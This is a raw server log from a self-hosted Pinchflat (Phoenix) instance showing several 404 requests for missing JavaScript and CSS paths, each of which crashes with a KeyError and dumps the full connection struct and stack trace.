"x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5079.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/static/style/protect/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdiQGxy6bPHEAAWuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5078.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47700}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5078.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47700}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5079.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>] (truncated) 22:49:10.855 [info] GET /css/support_parent.css 22:49:10.856 [debug] QUERY OK source="settings" db=0.2ms idle=282.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.857 [debug] QUERY OK source="settings" db=0.1ms idle=283.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.857 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:10.857 [error] #PID<0.5081.0> running PinchflatWeb.Endpoint (connection #PID<0.5080.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /css/support_parent.css ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5080.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47706}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5081.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/css/support_parent.css", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdiyr0d055lIAAWwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5080.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47706}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /css/support_parent (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5080.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/css/support_parent.css", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47706}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5081.0>, params: %{}, path_info: ["css", "support_parent"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_ (truncated) 22:49:10.997 [info] GET /js/twint_ch.js 22:49:10.998 [debug] QUERY OK source="settings" db=0.1ms idle=321.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.998 [debug] QUERY OK source="settings" db=0.1ms idle=286.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:10.998 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:10.999 [error] #PID<0.5083.0> running PinchflatWeb.Endpoint (connection #PID<0.5082.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /js/twint_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47712}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5083.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/js/twint_ch.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdjUeqnVTs-0AAWyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47712}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/twint_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/twint_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47712}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5083.0>, params: %{}, path_info: ["js", "twint_ch"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "h (truncated) 22:49:15.063 [info] GET /bot-connect.js 22:49:15.064 [debug] QUERY OK source="settings" db=0.1ms idle=1000.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:15.064 [debug] QUERY OK source="settings" db=0.0ms idle=1000.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:15.064 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:49:15.064 [error] #PID<0.5089.0> running PinchflatWeb.Endpoint (connection #PID<0.5088.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /bot-connect.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47732}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5089.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/bot-connect.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhdyd5-gHe_eUAAW0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47732}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47732}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5089.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https:/ (truncated) 22:49:28.100 [info] GET /sources/1/media/99/force_download 22:49:28.100 [debug] QUERY OK source="settings" db=0.1ms idle=1036.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:49:28.100 [debug] QUERY OK source="settings" db=0.1ms idle=1037.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 